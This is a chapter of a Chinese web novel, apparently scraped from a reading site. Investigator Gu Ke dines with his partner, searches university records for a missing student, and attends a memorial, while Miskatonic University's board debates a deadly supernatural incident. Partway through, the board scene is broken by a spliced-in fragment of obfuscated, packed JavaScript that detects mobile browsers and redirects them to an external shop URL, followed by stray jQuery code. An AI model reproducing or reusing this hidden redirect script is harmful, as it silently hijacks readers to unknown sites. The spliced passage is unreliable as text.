“火锅的话,湾区那边有家正宗的川城火锅,带小孩的话,我们点鸳鸯锅就行。”
“至于甜品……你不介意的话,直接到我名下的甜品店?”
“最近流行低糖饮食,这个品牌的甜品都减了一半糖分,对于这边本土的孩子应该还好,不过我还是觉得有些太甜……”
闫诚中肯地给出建议。
“好,那就麻烦你了。”
“明天我去问问他们的时间,还要请你预定一下。”
“小事,不必客气。先吃饭吧,给你多盛一点?”
“嗯。”
顾柯点了点头。
吃了一天土豆泥,他对于正常食物的渴望已经达到了极点。
更不用说是闫诚亲自下厨、选用高端食材、精心烹饪的华国家常菜了——这可是留学生们花钱也很难买到的美味。
见今天顾柯吃饭格外有气势,闫诚也不收敛,不停地往他碗里夹他喜欢的菜,直到被顾柯阻止,才消停了下来。
“话说,你昨天是怎么打电话给我的?”
“当时我的手机明明是在无信号状态,你是用了什么特殊的手段吗?”
饭后,顾柯一边和闫诚一起收拾碗筷,一边装作随意地提起这件事。
“不知道啊。之前你说给我们开通了专线,在哪里都能打通电话。”
“具体用了什么技术手段我也不清楚,但之前你在无信号区域工作的时候,我都能联系上你。”
闫诚这话说得很坦然,仿佛这真的是顾柯失忆前的安排。
“原来是这样。”
没想到自己还有这种能力。
顾柯见闫诚表现得非常自然,一点也不像说谎的样子,就轻易地相信了他的话。
看来特殊案件调查局局长的话也不能全信,或者应该说,局长掌握的信息也未必全面。
顾柯还以为自己只有“污染免疫”这一个能力,结果现在看来,还有“被动释放火焰”“维持通讯”这些能力,也不能说是一点战斗力都没有嘛。
唯一的遗憾就是,自己的能力似乎全是被动技能,不受到自己的控制,使用起来既要冒着风险,又不可控,远不像华国异能网络小说里描写得那样,能够随心所欲、任意操控。
整理完毕,两人照常玩了一会儿双人游戏。
随后便转战卧室,在闫诚的主导下,进行一些上午未能完成的活动。
第二天,也许是因为心里装着事,也许是因为昨晚闫诚收了手,顾柯醒得格外早,没有像往常一样,一觉睡到中午。
闫诚倒是反常地没有早醒。
看着身旁人长长的睫毛随着呼吸上下起伏,和花丛中翩翩起舞的蝴蝶一样,顾柯没忍住,伸手碰了碰闫诚的睫毛。
睡梦中的闫诚对熟悉气息的靠近毫无反应,只是轻轻哼了一声。
轻手轻脚地起床,顾柯换了套日常的衣服,热了热常备在冰箱中的、闫诚搭配好的新鲜早饭,照例在冰箱上给闫诚留了张便签,就去了办公室。
因为传奇调查员的身份,顾柯的权限相当之高,能够查阅绝大多数资料和文献,包括密大手收集汇总的全体学生信息。
然而,在系统里找了半天,他也没能找到叫“莱顿”的,符合“刚毕业不久”特征的学生。
其他“莱顿”要么是多年前的毕业生,如今分散在全国各地工作,没有返校作案的动机,要么是刚入学不久的新生,还没有制造如此大范围污染域的能力。
难道说,密斯卡托尼克大学里确实没有这么个人,他只是自己在污染域中幻想出来的?
面对切实的证据,顾柯自我怀疑了起来。
这对自己的心理治疗来说,绝对会是一个新的退展。
……要不要去找心理医生,或者精神科医生看看呢?
可想起那个一直在试图劝自己签奇怪协议的心理医生,顾柯又有些发怵。
还是等回国了再说吧。
这里的医生看起来不太靠谱、也不太遵守医学伦理的样子……
将莱顿的事情放到一边,顾柯来到陈宁的办公室,问了问海因里希教授的安排,确定了聚餐的时间。
将时间发给闫诚,顾柯回到自己的办公室,继续学习自己毕业论文涉及的知识……
与此同时,密大校董会正在召开紧急会议,决定此次事件的定性问题。
“这就是一起不幸造成众多师生身亡的恶性污染事件,我觉得没什么好说的。”
穿着优雅古典的孔雀绿色修身长裙,五官明艳大气,气势十足的淡紫色长发女士做出了这样的发言。
“确实,这样的恶性事件,自建校以来,也是少有。”
留着漂亮的金色短发,长着一双蓝眼睛的强壮男士理了理胸前的绿色圣带,嗓音低沉,带着深重的悲哀。
“你们密斯卡托尼克大学也该好好审核一下教材内容了。”
“这样危险的召唤阵,不应该毫无限制地向学生们开放。”
作为教会的代表,他的发言继承了教会一贯的态度。
“但我认为,人类目前对污染相关的研究水平,还不足以区分哪些材料是有价值的,哪些材料是危险而无意义的,贸然限制研究范围,只会让我们的研究停滞不前,丧失对于东方那个大国的学术优势。”
沃罗诺夫局长,或者应该说是沃罗诺夫董事戴着银丝边眼镜,看似友善地眯着双眼。
“政府每年在我们学校投入这么多经费,总是要看到些成效的,不是吗?”
“你还是这样看中投资回报比。”
淡紫色长发女士冷冷地嘲讽了一句。
她向来不喜欢这个将其他人的性命视为草芥,却又耗费大代价维持自己和合作对象生命的沃罗诺夫局长。
“哎呀,我只是从自己的视角,提出一点小小的意见。”
沃罗诺夫局长依旧嘴角带笑。
这样的话语对他来说,甚至算不上攻击,只能说是表达不满。
“来自政府的办学经费被削减,对我也没有什么直接的坏处,不是吗?”
“或者说,这样才更符合我的利益……”
“好了,关于这件事的讨论就到此为止。”
坐在最前方的校长拍板,叫停了董事们充满了私人恩怨的讨论。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17941410|211857||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>“这当然是一件不幸的事情,但沃罗诺夫局长说得对,我们密大也不可能因噎废食。”
“本周五对此次事件的遇难者举行追悼仪式,再划拨一笔专款安置他们的家属。”
“至于事件调查的事情,就等沃罗诺夫局长你的消息了。”
“大家觉得怎么样?”
诸位校董和校董代表又讨论了一会儿,谁也没能给出一个更好的方案,于是事情就这样草草定下。
在一个并非整点的特殊时刻,第四十六街区的钟被敲响了三次。
象征和平的白鸽从钟楼的顶端放飞,在蓝天下,形成了一片人工的白云。
每一只鸽子的腿上,都挂着一个小小的金属腿环,上面刻有在此次事件中失踪者的姓名。
密斯卡托尼克大学全体在校师生都聚集在钟楼下,手持白色剑兰,表达对于失去的同学和老师的悼念。
顾柯也不例外。
不过在追悼仪式结束后,他并没能像其他师生一样各回各家,而是被一个电话叫到了特殊案件调查局。
监视官女士说,局长要单独召见他,结束后还要去二楼单独补一份关于此次事件的调查报告。
是的,虽然顾柯是被动卷入此次事件的,但身为调查员的他,还是需要交一份调查报告。
这一次坐电梯上楼,顾柯没有再感受到初次前来时那种,被很多人盯着、心跳加速的感觉。
也许上次产生那样的感觉,是因为在太紧张了?
顾柯没能想清楚。
不过有了上一次的经验,这次到达12层后,他完全没有去看挂在墙上的画,目不斜视地走向局长办公室。
“啊,你来了。”
办公室的门敞开,听到门外传来的脚步声,局长从文件堆中抬起头,戴上那副细框银丝眼镜。
“局长好。”
估计今天多半是要讨论污染域相关的事情,顾柯表现得比第一次淡定多了。
“这边坐。”
见顾柯走进室内,沃罗诺夫局长站起身,示意他坐到沙发上。
“一段时间没见,你对现在的生活适应得怎么样了?”
也行是因为今天时间充裕,也许是对重要人才的特别关照,沃罗诺夫局长并没有直入主题,而是以闲聊开始。
“还不错,生活和学业都步入正轨,只是对于工作还不太了解。”
顾柯如实回答。
“介意我点燃一支雪茄吗?”
沃罗诺夫局长从西服口袋里掏出精致的古铜色打火机,在手中把玩,发出“咔哒,咔哒”的声音。
“最好不要,我不喜欢烟味。”
顾柯从小生活在无烟环境中,对烟味非常敏感。
“行,那就算了。”
沃罗诺夫局长面上依旧带笑,并没有因为顾柯的实话实说而产生负面情绪。
“需要开窗通风吗?”
想起医生在不久前,对于办公室内残留烟味的吐槽,他多问了顾柯一句。
“好。”
顾柯确实觉得房间内有一股淡淡的烟味,不算浓,但确实不习惯,也就没有和局长客气。